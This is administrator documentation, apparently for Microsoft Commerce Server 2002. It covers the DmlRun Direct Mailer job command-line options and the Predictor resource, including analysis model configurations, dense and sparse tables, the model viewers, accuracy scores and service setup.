Option | Description
/run:<jobID number> | Starts a job, or continues a job that was paused.
/term:<jobID number> | Stops a job that is running.
/pause:<jobID number> | Suspends the job but does not stop it; all the resources remain allocated. Use this option when you want to balance Simple Mail Transfer Protocol (SMTP) server load.
/create:<param-string> | Creates a new Direct Mailer job based on the data in your job file. After the job is created, use the /run option to run it.
/delete:<jobID number> | Deletes a Direct Mailer job.
/list | Lists all Direct Mailer jobs.
/list:[css_site=xxxx;] [filename=yyy;] Enumerates all the jobs for the given Commerce Server site (if specified) or for all sites (if the css_site keyword is omitted). If the "filename" is specified, the output is directed to the specified file. If no directory is specified, the file name is created in the WINNT directory.

To see an example of the job list file format, see Using the /list Option.
/del_old:age | Deletes completed jobs older than "age" days.
/wait Optional. You can use this option with the /run, /term, /create, and /execute options. When combined with the /run option, DmlRun waits until the job is finished before it returns the job status back to the console. You can also combine the /wait option with the /create /execute options to cause the same effect.

When you use the /term /wait options, DmlRun waits until the job actually terminates.

Notes

  • The /wait option must be combined with another option; it cannot be used alone.
  • Using the /wait /term options will return an error statement such as the following: "Error: The job {7f2c6324-6b72-402d-853d-8b1c654ae842} exited with status code 1".
/execute Optional. When you use the /create /execute options, DmlRun creates and runs the job.

You must always include the /create option on a line in which you use the /execute option.

/server:<server name> | Optional. You can use this option with any other option. It forces DmlRun to manage the job remotely on the specified server.
/? or /help or /h | Provides help for the command line options and usage. You cannot use this option with any other option.

The following options cannot appear on the same command line together:

  • /create
  • /delete
  • /del_old
  • /list
  • /pause
  • /run
  • /term

Using the /list Option

The job list file can be produced by the DmlRun /list:<filename> command. It is a text file in .ini-compatible format. Each job occupies its own section, "Job #" where "#" is a sequential number (from 1 to the total number of jobs). The following is an example extract from the file:

[General]
JobCount=2

[Job 1]
JobID number=<job_id for the job>
Description=<Descriptive text for the job>
Status=<Integer; status code for the job>
LastRunTime=<Date/Time when the job ran last time. Blank if job did not run.>
FinishedTime=<Date/Time when the job was completed. Blank if job did not finish.>
CampaignItem=<Campaign item ID. Appears only if part of a campaign.>
DMLItem=<Direct Mailer item ID. Appears only if part of a campaign.>
CommerceSite=<css_site ID. Blank if not part of a site.>

[Job 2]

See Also

Creating a Direct Mailer Job File

Creating and Running a Direct Mailer Job

Viewing Direct Mailer Job Status


Running the Predictor Resource

You use the Commerce Server Predictor resource to add predictive capabilities to your Web site, such as predicting which products users may purchase based on products similar users — those sharing the same characteristics — have purchased previously.

You use the Predictor resource to build analysis models, which consist of predictive and segment models. The Predictor resource uses the data already present in the Data Warehouse to build the analysis models. After you build an analysis model manually using the Predictor resource, you can use the Model Builder DTS task to schedule automatic rebuilding of the analysis model. For information about running the Model Builder task, see Running the Model Builder DTS Task. For information about how Model Builder DTS Task imports data into the Data Warehouse, see ETL Process for the Model Builder DTS Task.

This section contains:

  • Workflow for the Predictor Resource. Illustrates the workflow for building, analyzing, and deploying analysis models.
  • About the Predictor Resource. Describes the predictive capabilities supported by the Predictor resource. Also described are the Predictor resource components.
  • Best Practices for the Predictor Resource. Describes ways to improve the performance of the Predictor resource.
  • Predictor Data Size Limits. Describes the performance criteria for the Predictor resource.
  • Analyzing Model Effectiveness. Explains how to test, interpret, and improve analysis model effectiveness.
  • Configuring the Predictor Resource. Explains how to configure the Predictor resource for use with databases other than the Commerce Server Data Warehouse.
  • Starting and Stopping the Predictor Service. Explains how to start and stop the Predictor service.
  • Setting Up Model Configurations. Explains how to set up the model configurations that you use to build analysis models.
  • Building a New Analysis Model. Explains how to build a new analysis model based on a model configuration.
  • Saving and Importing Models. Explains how to save model configurations to files and import saved models to your database.
  • Viewing Analysis Model Configuration Tables. Explains how to view analysis model configuration tables.
  • Viewing Analysis Models. Explains how to view the analysis models you created. To view the analysis models, you use either the Prediction Model Viewer in Commerce Server Manager or the Segment Viewer in Commerce Server Business Desk.
  • Using Dependency Network View. Explains how to use the Prediction Model Viewer to view the dependency network.
  • Using Decision Tree View. Explains how to use the Prediction Model Viewer to view the decision tree.
  • Manually Rebuilding an Analysis Model. Explains how to manually rebuild an analysis model.
  • Automatically Rebuilding Analysis Models. Explains how to schedule the the rebuild process.
  • Renaming an Analysis Model. Explains how to rename an analysis model.
  • Deleting an Analysis Model. Explains how to delete an analysis model.
  • Monitoring the Predictor Resource. Explains how to monitor the Predictor resource for processing errors.


Workflow for the Predictor Resource

The following figure illustrates the workflow for building, viewing, analyzing, and deploying analysis models.

  1. Update user profile definition using the Profiles resource.
  2. Import data into the Commerce Server Data Warehouse using the Commerce Server Data Transformation Services (DTS) tasks.
  3. Add model configurations for your site to the Predictor resource using the Predictor Model Configuration Setup Wizard.
  4. Build analysis models using the Build Model dialog box in the Predictor resource.
  5. View and analyze a Prediction model in the Prediction Model Viewer.
  6. View and analyze a Segment model using the Segment Viewer in Commerce Server Business Desk.
  7. Deploy the analysis model onto your Web servers using PredictorClient API calls. For instructions, see Deploying Predictor.
  8. Export user lists from segment and prediction models to the Business Desk List Manager module:
    • Use the Business Desk Affinity Lists module to export lists from prediction models.
    • Use the Business Desk Segment Viewer module to export lists from segment models.
    • Use the user lists to send direct mail campaigns.
  9. Schedule and automate model rebuilding using the Model Builder Data Transformation Services (DTS) task in the Data Warehouse.

Note

  • Prediction models provide more accurate recommendations than Segment models. Use Prediction models to provide recommendations on your site.

See Also

Installing Commerce Server Resources as Clustered Resources

Predictor Resource Tutorial

Securing a Predictor Deployment

Deploying Predictor

Setting Up Model Configurations

Predictor Configuration Model Setup Wizard


About the Predictor Resource

The Predictor resource is a Microsoft Windows 2000 service that is optionally installed with Commerce Server 2002 as part of a complete or a custom installation.

You use the Predictor resource for general-purpose data mining and analysis. You can provide product recommendations on your site, and analyze user activity. For example, you can provide the following features on your site:

  • Cross-sell. Provide real-time product recommendations to users to buy as they shop for products on your Web site.
  • Cross-browse. Provide real-time product recommendations to browse on your site as users shop for products.
  • Demographic prediction. Make statistically informed guesses about the demographic makeup of every customer based on the products they purchase and the pages they browse on your site.
  • Targeted advertising. Target banner ads and e-mail personalized for each user based on their browsing and shopping behavior on your site.
  • User segmentation. Automatically segment your site visitors based on their buying and browsing behavior on your site.

To analyze user activity on your site, you can do the following:

  • Use the Affinity Lists module in Business Desk to create affinity lists that contains user information. The affinity list is automatically exported to the List Manager module.
  • Generate a mailing list using the List Manager module in the Business Desk.
  • Create a direct mail campaign from this list to target users who are likely to buy a specific product using the Campaign Manager.

For more information about affinity lists, see About Affinity Lists. For more information about campaigns, see Business Desk Campaigns.

This section contains:

  • Analysis Models
  • Analysis Model Configurations
  • Prediction Model Viewer

See Also

Predictor Schema

Installing Commerce Server Resources as Clustered Resources

Securing a Predictor Deployment

Deploying Predictor

Predictor Resource Tutorial

Setting Up Model Configurations

Predictor Configuration Model Setup Wizard


Analysis Models

An analysis model is a set of statistical relationships based on observations of past site users and/or their purchase history, browse history, or other behavior. The model contains information about the types of users who visit your site, but it does not contain information about specific users. The detailed information used to create an analysis model is stored in the Commerce Server Data Warehouse.

You can build two types of analysis models:

  • Prediction models: A type of model that contains a summary of data used for predicting user behavior on your site. For example, if a user purchases a copy of Microsoft NFL Fever 2000, then what are the chances the same user will consider a purchase of Microsoft NBA Inside Drive? These types of probabilities are calculated using a prediction model. You use Commerce Server Manager to view Prediction models.
  • Segment models: A type of model that groups users together that share similar profile properties. You use Commerce Server Business Desk to view Segment models.

See Also

Predictor Schema

Installing Commerce Server Resources as Clustered Resources

Securing a Predictor Deployment

Deploying Predictor

Predictor Resource Tutorial

Setting Up Model Configurations

Predictor Configuration Model Setup Wizard


Prediction Models

You build Prediction models by using the Predictor resource in Commerce Server Manager. The Predictor resource is a type of model that contains a summary of data used for predicting user behavior on your site, and consists of a set of decision trees and a summary network called a dependency network. A dependency network summarizes the dependencies (predictive relationships) described by the decision trees.

Prediction models provide more accurate predictions than do segmentation or memory-based algorithms.

You use the Prediction Model Viewer to view both the dependency network and the individual decision trees. This information may give you insights about your customers that help you target those customers and design a better site. campaigns.

Before you build an analysis model, you must ensure that the data with which you want to build the model is available in the Data Warehouse.

See Also

Workflow for the Predictor Resource

About the Predictor Resource

Analyzing Model Effectiveness

Using Dependency Network View

Using Decision Tree View

Creating a Marketing Campaign


Segment Models

You build Segment models using the Predictor resource in Commerce Server, and use the Segment Viewer module in Business Desk to view the Segment models you create. A Segment model partitions groups of users into segments based on similar user properties. Similar segments are grouped into collections of segments, creating a segment hierarchy.

You use the SegmentSegmentS Model Viewer in the Business Desk to view both the dependency network and the individual decision trees. The segments that you see may give you insights about your customers that help you target those customers and design a better site.

Before you build an analysis model, you must ensure that the data with which you want to build the model is available in the Data Warehouse. You use the Data Import Data Transformation Services (DTS) tasks to import data in to the Data Warehouse. For information about the Data Warehouse and DTS tasks, see Running the Data Warehouse.

See Also

Workflow for the Predictor Resource

About the Predictor Resource

Analyzing Model Effectiveness

Using Dependency Network View

Using Decision Tree View


Analysis Model Configurations

An analysis model configuration contains information used to build Prediction and Segment models. You use model configurations to build Prediction and Segment models so you can analyze data stored in the Data Warehouse. Using the analysis models you can provide product recommendations on your site, and analyze user activity.

The Predictor resource uses analysis model configurations to map data from the Commerce Server Data Warehouse database to cases. A case is the set of information known about a specific user and consists of a set of property/value pairs. Cases are used to build analysis models, which in turn, are used by the PredictorClient object to make predictions about the future behavior of users.

An analysis model configuration specifies:

  • A collection of tables and/or views in the Data Warehouse that contain the data to be modeled.
  • The distribution of properties in the analysis model, and whether each property is used for prediction (input value) or is predicted (output value). For example, a model configuration could use the Age property to predict purchase behavior.

Using the Predictor Model Configuration Setup Wizard included in Commerce Server 2002, you can create the following model configurations:

  • Transactions. Use to build analysis models that predict the products that users are likely to buy. For example, your site could present each user with a list of personal product recommendations.
  • Demographics. Use to build analysis models that predict the demographic characteristics that your users are likely to share. For example, you can use the demographic analysis models to improve your understanding of the registered users who visit your site.

    Note

    • The Demographics model configuration requires you to collect specific data with the User profile definition. For information about extending the User profile definition to collect the required demographic data, see Example: Adding Demographic Properties to the User Profile Definition .
  • Combined Transactions and Demographics. Use to build analysis models that predict likely relationships between demographic characteristics and product purchases. The accuracy of this model is directly proportional to the number of registered users on your Web site.
  • Product Browsing. Use to build analysis models that predict the products that your users are likely to browse. For example, you can place links on your site that are relevant to your users.
  • Ad Click. Use to build analysis models that predict the ads that your users are likely to click.

You can build your own analysis model configuration that is based on other data. For example, you may want to build your own analysis model configuration if model configurations provided do not meet your business needs.

If you want to build Prediction and Segment models based on other types of data, you must create new model configurations with the Predictor schema. For information about the Predictor schema, see Predictor Schema. For more information about building custom model configurations, see Custom Model Configurations.

See Also

Predictor Model Configuration Setup Wizard

Predictor Schema

Custom Model Configurations

Setting Up Model Configurations

Workflow for the Predictor Resource


Custom Model Configurations

You can create custom model configurations by specifying the table columns and properties that you want to predict.

You construct models from cases, which you construct from the data in the Data Warehouse. A model configuration maps tables in the Data Warehouse to define the structure of a case. Data must be imported into the Data Warehouse before you can use the data to build models. For information about importing data into the Data Warehouse, see Importing Data into the Data Warehouse.

This section contains:

  • Cases
  • Predictor Tables in the Data Warehouse
  • Dense Table
  • Sparse Table


Cases

A case is the set of all information known about a specific site user and consists of property/value pairs. This information may include user profile data, purchase history, click history, or a combination of these. Cases can also include any other data for which you require recommendations.

A typical analysis model uses between 10,000 and 50,000 cases with a resulting size of between 10 kilobytes (KB) and 100 KB.

In general, predictions are more accurate when many cases are available for a model. However, after a certain point (often 50,000 cases or less), there is little increase in accuracy when additional cases are used. In contrast, the time necessary to build an analysis model increases with the number of cases in the configuration.


Predictor Tables in the Data Warehouse

You build cases from the data stored in the Data Warehouse database. The Data Warehouse stores data from your Web site. Each case used to build analysis models is based on particular information in the Data Warehouse. For example, to predict which products specific users are likely to purchase, the cases used to build the analysis models would be based on data tables or views (virtual tables that represent the data in one or more tables in an alternative way) containing information about your users, such as user profiles, purchase history, and/or click history.

Note

  • To save processing time, it is recommended to build analysis models in views if possible.

The Data Warehouse database also stores the model configurations provided by Commerce Server. The model configurations are stored in four main tables:

  • PredictorModelCfgs. Lists the existing model configurations and its source Web sites.
  • PredictorDataTables. Lists and describes the tables containing the data to be mapped into cases.
  • PredictorModels. Stores the actual analysis models and their properties.
  • PredictorAttributes <configuration name>. Defines the attributes of the case properties, and its distribution. Indicates which properties are to be used to build the model or which properties you want to be predicted. Entries in this table are optional and can be used to override the automatic assignment of property distributions.

For information about viewing the model configuration tables using Microsoft SQL Server, see Viewing Analysis Model Configuration Tables.

Note

  • If both one dense and one or more sparse tables are used, only data corresponding to users listed in the dense table will be processed. If you want to use sparse data for users without corresponding information in the dense table, you must create records in the dense table for these users with all unknown values set to NULL. For information about the procedure for setting up your own configuration, see Predictor Schema.
  • If you have a number of sparse tables, but no dense table, then only data corresponding to users from the first sparse table will be processed.

See Also

Dense Table

Sparse Table

Workflow for the Predictor Resource

About the Predictor Resource

Analysis Models

Analyzing Model Effectiveness

Using Dependency Network View

Using Decision Tree View


Dense Table

In a dense table (or view), the properties of a case are represented as column values in a single row. Demographic customer data (possibly consisting of Age, Gender, and Salary) typically is represented best in a dense table. In this type of dense table, there is exactly one row for each user and exactly one column for each property.

A common source of data for a dense table is profile information submitted by users when they complete a registration form. For information about creating profile definitions to collect user data on your Web site, see Running the Profiles Resource.

The following figure shows the layout of a typical dense table.

See Also

Sparse Table

Predictor Tables in the Data Warehouse


Sparse Table

In a sparse table (or view), a case is represented as multiple rows, with each row representing a property/value pair. For example, product purchase data may have the following schema: CustomerID, ProductID, Quantity. In this type of sparse table, there is one row for each product purchased by the user.

In general, a sparse table contains one row for each transaction, such as one row for each item ordered or each page visited. This table may have several rows for each user who visits your site, because one user may have ordered several items or visited several pages.

All of the rows associated with a single user comprise one case. The case identifier is typically some kind of user ID, such as a unique user or login name. The property is the item you want to predict, and the value is the quantity of that property.

Because the data needed for a sparse data table may be stored in two or more tables in your data source, you may need to use SQL Server Enterprise Manager to create a view that contains the columns required by your analysis model configuration. For example, to predict a purchase that is based on other products purchased, you need the user ID, product SKU, and quantity purchased columns. These columns may be located in two or three different linked tables (such as Customers, Orders, and Order Details, or Requisition and POLineItems) depending on the structure of your database.

The following figure shows the layout of a typical sparse table.

For information about building dense and sparse tables and creating analysis model configurations, see Predictor Schema.

See Also

Dense Table

Predictor Tables in the Data Warehouse


Prediction Model Viewer

You use the Prediction Model Viewer to view your Prediction models. The Prediction Model Viewer provides two views for analyzing your Prediction models: Dependency Network view and Decision Tree view.

Use the Prediction Model Viewer to analyze your product dependency network, and then make any changes necessary based on customer behavior on your site.

Dependency Network View

Decision Tree View

Dependency Network View

You use Dependency Network view to analyze the statistical dependencies of the properties in your analysis model. Dependency Network view is the view that first appears when you open a Prediction model in the Prediction Model Viewer. Dependency Network view is a graph of your Prediction model that is represented with nodes and arcs. Nodes correspond to properties and arcs correspond to statistical dependencies among the properties.

Dependency Network view

A node appears as an oval with text. A ToolTip appears with the full name of the property if you pause on a node. When no nodes are selected, all nodes appear green in color. Not all nodes are displayed, only the most frequently occurring properties in the data are displayed. For instructions on displaying additional nodes, see Finding All Available Nodes in Dependency Network View.

When you open a Prediction model in Dependency Network view, the nodes are automatically displayed in a manner that is easy to visualize. The nodes continuously move as Commerce Server improves the layout. Using the Dependency Network view you can:

  • Stop and restart the improvement process.
  • Click a node to highlight the direct relationships between that node and the other nodes in the graph.
  • Drag nodes to manually adjust the layout.

For information about working with the layout arrangement of your model, see Arranging the Layout in Dependency Network View. Node colors indicate the following:

  • Green. The node is selected.
  • Red. The selected node helps to predict this node.
  • Blue. This node helps to predict the selected node.
  • Purple. A predictive relationship exists in both directions.

Using the slider along the left side of Dependency Network view you can control the number of relationships exposed based on the strength of the relationship. As the slider is moved down, arcs are removed — that is, the arcs corresponding to the weakest dependencies are removed until only the arcs for the strongest dependences are shown.

You use the slider to help you view a Prediction model with dozens of characteristics and hundreds of relationships because it helps you to focus on the dependencies you are most interested in.

Decision Tree View

You can use the Predictor resource Decision Tree view to analyze the tree components of your Prediction model. You access Decision Tree view by double-clicking a node in Dependency Network view. A decision tree is graphical shorthand for a set of probabilistic rules of the form:

IF X = Value and Y = Value and so on, THEN Target = Value with probability p

The conditions in the "IF" clause of a particular rule correspond to a left-to-right traversal of the tree. In particular, each internal node is annotated with the name of an property, and the out-going edges are annotated with value(s) for that property.

Nodes are oval in shape and purple in color. Leaf nodes, which show the prediction probabilities, are gray rectangular boxes.

Decision Tree view

Each leaf node stores a probability distribution for the target property. (A probability distribution is a set of probabilities, one for each possible value of the target.)

  • If the target property is categorical and has less than eight values, the probability for each value is depicted in the leaf node as a histogram.
  • When a categorical property is binary (that is, the property simply indicates the presence or absence of a value), then only the probability of the property being present is shown as the fraction of the bar that is green (see the Decision Tree view figure).
  • For a categorical property with more than eight values, each leaf node is annotated with the most likely value for the target.
  • If the target property is continuous, each leaf node is annotated with the expected range of the target.

You can also double-click an internal node to more easily read the path to that node.

You can continue navigating through the tree without closing the dialog box. The dialog box displays the path for the currently selected node.

Note that there is a useful correspondence between the contents of the decision trees and that of the dependency network. Namely, there will be an arc from property A to property B in the dependency network if, and only if, property A is a node in the decision tree for property B. (Both views are saying the same thing: knowing property A helps to predict property B.)

See Also

Using Dependency Network View

Analysis Models

Analyzing Model Effectiveness


Best Practices for the Predictor Resource

This topic lists the best practices for deploying and optimizing the Predictor resource, and analyzing results.

Deploying the Predictor Resource

Optimizing the Predictor Resource

Deploying the Predictor Resource

  • If you are using an analysis model for real-time online predictions, copy your analysis model on to the Web server.

    This way you can secure your Data Warehouse behind the firewall and still make use of the Prediction Model. For instructions, see Deploying Predictor and Securing a Predictor Deployment

  • Multiple instances of the Predictor resource are supported per Commerce Server Web site, but only one instance is supported per computer.
  • You can install the Predictor resource on each computer that contains your Commerce Server Data Warehouse.
  • You can install the Predictor resource on dedicated computers to preserve system memory.
  • Running the Predictor resource on a separate computer uses more network bandwidth than running the Predictor resource and the Data Warehouse on the same computer.
  • The Predictor resource requires that you use Microsoft SQL Server as your database. For information about the version of SQL Server required, see Installing Prerequisite Software.
  • A site can run several different analysis models, and each model can be based on data from a different database.
  • Commerce Server 2002 does not limit the number of models you can use for each site or server.
  • Building analysis models is memory intensive. You can prevent a resource hit on the Web servers by building a model once and then copying it to each of your Web servers (using the IPredictorClient::LoadModelFromDB method with the PredictorClient object). Each Web server can host multiple analysis models (for different predictive functionality).

Optimizing the Predictor Resource

For best performance during the model build process, it is recommended that you build analysis models on the same computer that contains your Commerce Server Data Warehouse.

You can improve the performance of the Predictor resource in the following ways:

  • Control the sample size used to build an analysis model
  • Control the size of the tables that the model configurations use to build the analysis models
  • Control how many properties are to be included in an analysis model
  • Build your model on the same computer that contains your Data Warehouse

Controlling Accuracy

You can control the relative accuracy of an analysis model and the time it takes to build it, by varying the sample size. The larger the sample, the more accurate the analysis model and the longer it takes to build the model. However, the accuracy of analysis models larger than 30,000 to 50,000 cases does not significantly improve, except for predicting ad clicks. If you are predicting ad clicks, the accuracy of the analysis model should continue to increase substantially as the sample size increases.

Controlling Number of Cases

You control the number of cases used to build an analysis model by modifying Number of Cases in the Model Build Properties dialog box. You can also pre-sample your data using a view or table and build the model from that sample. With this method, you should be careful to sample the cases at random, instead of choosing them sequentially.

Controlling the Fractions of Properties

You can control the fractions of properties used for inputs to predict the accuracy of an analysis model and the time it takes to build the model. The higher the fraction, the more accurate the model, but the longer it takes to build the model. To control the number of properties that are included in an analysis model, modify Input Fraction and Output Fraction in the Model Build Properties dialog box. A value of 1.0 indicates that the Predictor resource is to use all of the properties available to build the model. If the database contains many properties, (for example, a product catalog with tens or hundreds of thousands of products) it is best to use a lower number. Unless you have a reason to do otherwise, it is probably best to use equal input and output fractions.

When you try to improve the results of your Prediction model, consider the data sizes and limits, and the performance criteria for the Predictor resource.

See Also

Predictor Schema

Installing Commerce Server Resources as Clustered Resources

Deploying Predictor

Securing a Predictor Deployment

Predictor Resource Tutorial

Setting Up Model Configurations

Predictor Configuration Model Setup Wizard


Predictor Data Size Restrictions

The following table shows the average and maximum data sizes for the Predictor resource.

Parameter | Average value | Maximum value
Number of products in the product catalog | 50,000 | 500,000
Number of cases to build the model | 30,000 | No limit other than the amount of available memory
Number of transactions per user | 20 | Total number of properties
Size of computed model | 100 KB | Limited by your database limitations
Maximum number of properties predicted per call | 10 | Total number of properties

Performance Criteria for the Predictor Resource

The following table shows the performance criteria for the Predictor resource. The criteria are based on the average numbers defined in Data Sizes and Limits for the Predictor Resource.

All numbers are measured on a dual-processor 550Mhz Pentium III with 512 MB of RAM Web server for making Prediction, and quad-processor 550Mhz Pentium III with 2 GB of RAM Database server for building Analysis models and to call LoadModelFromDB(). Client computers are 400 MHz Pentium II with 128 MB of RAM.

Criteria | Component | Minimum | Maximum | Average
Latency to make prediction | Client | 0 milliseconds | 20 milliseconds per prediction call | 10 milliseconds per prediction call
Throughput of prediction requests | Client | 30 predictions per second per CPU | Not applicable | 90 predictions per second per CPU
Load model from database | Client | Not applicable | 3.6 seconds | 3.4 seconds
Service start time | Service | Not applicable | 20 seconds | 5 seconds

See Also

Analyzing Model Effectiveness

Deploying Predictor


Analyzing Model Effectiveness

You can test the effectiveness of an analysis model by using it to predict new data. The Predictor resource provides "scores" that measure how accurately a model predicts new data. You can use these scores to measure the effectiveness of analysis models as you adjust the values used for the Sample Size and Input and Output Property Fraction parameters. You use the parameter Measured Accuracy Sample Fraction to set the number of cases used for testing. A effectiveness and accuracy of a model is directly proportional to the scores.

The Predictor resource includes two scores:

  • Recommendation Score, which is designed to measure the quality of your analysis model when used to recommend products for cross selling or cross browsing. It measures the quality of a ranked list of recommendations returned from the model.
  • Data Fit Score, which is designed to measure the quality of predictions made by an analysis model when filling in missing data, such as missing user properties.

Both the Recommendation score and the Data Fit score evaluate only the ability of the model to make predictions on the cases in the test data. Consequently, in order for either of the scores to be a significant indicator of the actual performance of an analysis model:

  • The test data needs to approximate the distribution of cases that are likely to be seen in practice.
  • The test data must not overlap with the data used to build the analysis model.

If the scores vary significantly depending on the particular test data sampled for scoring (for example, by changing the Measured Accuracy Sample Fraction parameter slightly, you observe a very different score), then your test data is likely to be inadequate.

You may also see a high degree of variability if you have an insufficient number of input or "training" cases.

You can view these scores in Commerce Server Manager under the Models node. The scores are stored in your Commerce Server Data Warehouse in the PredictorModels table under the columns DataFitScore and RecommendScore.

This section contains:

  • Recommendation Score
  • Data Fit Score
  • Negative Data Fit Scores for Segment models


Recommendation Score

The Recommendation Score works as follows:

  • Each case in the new (test) data is fed to the analysis model one at a time, with one of the transactions (chosen at random) removed.
  • The model returns a list of recommendations (at most the number of recommendations in the Measured Accuracy Maximum Predictions parameter).
  • The model is considered successful if the transaction that was removed is on the list of recommendations.
  • The score is the percentage of cases in which the analysis model was successful.
  • The parameter Measured Accuracy Maximum Predictions is set at model build time and should correspond to the number of recommendations you plan to show to the user.

See Also

Data Fit Score

Negative Data Fit Scores for Segment models

Workflow for the Predictor Resource

About the Predictor Resource

Analysis Models

Using Dependency Network View

Using Decision Tree View


Data Fit Score

The Data Fit Score is the average log probability that the analysis model assigns to a case in the test data

— minus —

The average log probability that a marginal analysis model assigns to a case in the data.

The marginal analysis model is a test model that assumes all properties are independent of one another.

The higher the score, the greater is the accuracy of the model.

See Also

Negative Data Fit Scores for Segment models

Workflow for the Predictor Resource

About the Predictor Resource

Analysis Models

Using Dependency Network View

Using Decision Tree View


Negative Data Fit Scores for Segment Models

Segment models and segment descriptions are computed using only input or "training" cases. Because of this, if there are "test" cases that contain information that was not present in the training cases, small values for the Recommendation Score or negative values for the Data Fit Score may be observed.

A Segment model that has a small value for the Recommendation Score or a negative value for the Data Fit Score indicates that the model may not make accurate predictions only on the test cases.

You may find the segments produced by the Segment model to be useful for other purposes and you can evaluate them using the Segment Viewer in Commerce Server Business Desk.

Ideally, the training cases and test cases will contain similar information.

If small values for the Recommendation Score or negative values for the Data Fit Score are observed, doing one of the following may alleviate the problem:

  • Increase the value of the Sample Size parameter.
  • Decrease the value of the Measured Accuracy Sample Fraction parameter.

Be aware that increasing the value of the Sample Size parameter may result in longer time needed to build the Segment model.

Use caution in decreasing the value of the Measured Accuracy Sample Fraction parameter because this results in a smaller number of test cases. In general, it is better to have many test cases.

See Also

Analysis Models

Analysis Model Configurations

Building a New Analysis Model

Viewing Analysis Models

Viewing Analysis Model Configuration Tables

PredictorClient Object (C++)

PredictorClient Object (Visual Basic)


Configuring the Predictor Resource

Collecting user information to be used with the Predictor Service for predictions is enabled by default in the Predictor Resource. If you want to disable the predictor resource, you must modify the Active Server Pages (ASP) code to rename the analysis model or change the location of the model. For more information about changing ASP code for the Predictor resource, see Business Analysis Objects.

In this topic, the first procedure explains how to configure the Predictor resource properties so that the Predictor resource will only list models and model configuration in the Data Warehouse database. The last two procedures explain how to configure the Predictor resource properties so that the Predictor resource will list models and model configurations in databases other than the Commerce Server Data Warehouse.

This section contains:

  • Listing Only Models and Model Configurations in the Commerce Server Data Warehouse
  • Listing Analysis Models and Model Configurations in an External Database
  • Configuring the Predictor Connection String to an External Database


Listing Only Models and Model Configurations in the Commerce Server Data Warehouse

  1. Expand Commerce Server Manager, expand Global Resources, right-click Predictor on <server name>, and then click Properties.
  2. In the Predictor on <server name> Properties dialog box, on the Properties tab, in the Properties box, select Use external database.
  3. In the Selected property value box, set the property to 0 (False).
  4. To apply the changes and exit the Predictor on <server name> Properties dialog box, click Apply.

Only analysis models and analysis model configurations that are in the Commerce Server Data Warehouse will be listed in the Predictor resource details screen.


Listing Analysis Models and Model Configurations in an External Database

  1. Expand Commerce Server Manager, expand Global Resources, right-click Predictor on <server name>, and then click Properties.
  2. In the Predictor on <server name> Properties dialog box, on the Properties tab, in the Properties box, select Use external database.
  3. In the Selected property value box, set the property to -1 (True).

The Predictor resource will list models and model configurations from an external database, in addition to those in the Data Warehouse, in the Commerce Server Manager console. (Models and model configurations in the Commerce Server Data Warehouse are always listed.)

After you have set this property, you must set a connection to the external database.


Configuring the Predictor Connection String to an External Database

Perform this step if you want to build models on an external database (any database other than the Data Warehouse).

  1. Expand Commerce Server Manager, expand Global Resources, right-click Predictor on <server name>, and then click Properties.
  2. In the Predictor on <server name> Properties dialog box, on the Connection Strings tab, select External database, and then click Modify.
  3. In the Data Link Properties dialog box, do the following:
    Use this | To do this
    Select or enter a server name | Select a server name from the drop-down list, or type the path to the server that contains the database you want to access.
    Use Windows NT Integrated security Click to specify that the provider request a secure (or trusted) connection to a SQL Server running on Microsoft Windows NT.

    This is the recommended configuration.
    Use a specific user name and password Click to use a supplied user name and password to authenticate your logon information to the data source.

    This option, which uses SQL Authentication, is not recommended.
    User name Type the user ID to use for authentication when you log on to the data source.

    This option, which uses SQL Authentication, is not recommended.
    Password Type the password to use for authentication when you log on to the data source.

    This option, which uses SQL Authentication, is not recommended.
    Blank password | Select this option to return a blank password in the connection string.
    Allow saving password | Select this option to allow the password to be saved with the connection string.
    Select the database on the server | Type the database name that you want to access.

    Note

    • For more information about using the Data Link Properties dialog box, click Help in the dialog box.
  4. Click Test Connection to ensure that you have entered server and database information correctly, and then click OK to close the connection message.
  5. To close the Data Link Properties dialog box, click OK.

    In the Predictor on <server name> Properties dialog box, on the Connection Strings tab, the value of the external connection string appears in the Connection strings in this resource box.

  6. To exit the Predictor on <server name> Properties dialog box, click OK.

If you want the value of an external connection string to be ignored, and have only those models and configuration files in the Data Warehouse be listed in the Predictor resource details screen, you must set the Use external database property to 0 (False).

See Also

Predictor Schema

Installing Commerce Server Resources as Clustered Resources

Deploying Predictor

Securing a Predictor Deployment

Predictor Resource Tutorial

Setting Up Model Configurations

Predictor Configuration Model Setup Wizard


Starting and Stopping the Predictor Service

You can start and stop the Predictor service using Commerce Server Manager for troubleshooting and performance analysis purposes. You can also stop the Predictor service using the Administrative Tools in Microsoft Windows 2000, but it is preferable to use Commerce Server Manager so that the Predictor service user interface can update accordingly. When the Predictor service is started or stopped, the event is recorded in the event log of the local computer.

Note

  • If the Predictor service is stopped unexpectedly, an event gets generated in the system event log.

To start the Predictor service

To stop the Predictor service

To stop a model build in the Predictor service

To pause and resume a model build in the Predictor service

To start the Predictor service

  • Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, right-click Predictor Service, and then click Start.

The Predictor service is started.

To stop the Predictor service

  • Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, right-click Predictor Service, and then click Stop.

The Predictor service is stopped and an event is recorded in the event log of the local computer.

To stop a model build in the Predictor service

  • While the analysis model is building, right-click the model name, and then click Stop.

An error dialog box appears indicating that the build failed and that the operation ended abnormally. The model build is stopped and an event is recorded in the event log of the local computer. The status of the build returns to Idle if you are rebuilding the model to the original name of the model. If you assign a new name to the model, the status of the build no longer appears on the screen.

To pause and resume a model build in the Predictor service

  1. While the analysis model is building, right-click the model name, and then click Pause.

    The status of the build changes to Paused.

  2. To resume building the model, right-click the model name, and then click Resume.

    The status of the build changes to Running.

See Also

Deploying Predictor

Securing a Predictor Deployment


Setting Up Model Configurations

You use the Predictor Model Configurations Setup Wizard to set up the model configurations provided with Commerce Server. Before you run the Wizard you must import data into your Data Warehouse, and determine where data is stored for the following items:

Transactions | Profiles | Web log file | Campaigns
User ID SKU Quantity | User ID Age Occupation Marital Status Gender Income Education Children Family Role Region | User ID Page ID Page Head Count | User ID Ad ID ClicksNum

For information about importing data in to the Data Warehouse and finding where your data is, see Extract, Transform, and Load Processes for DTS Tasks.

To set up model configurations

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, right-click Model Configurations, and then click New Model Configurations.
  3. In the Predictor Model Configurations Setup Wizard, Welcome page, click Next.
  4. In the Configuration Selection Page, from the site drop-down box, select the site for which you want to set up model configurations.
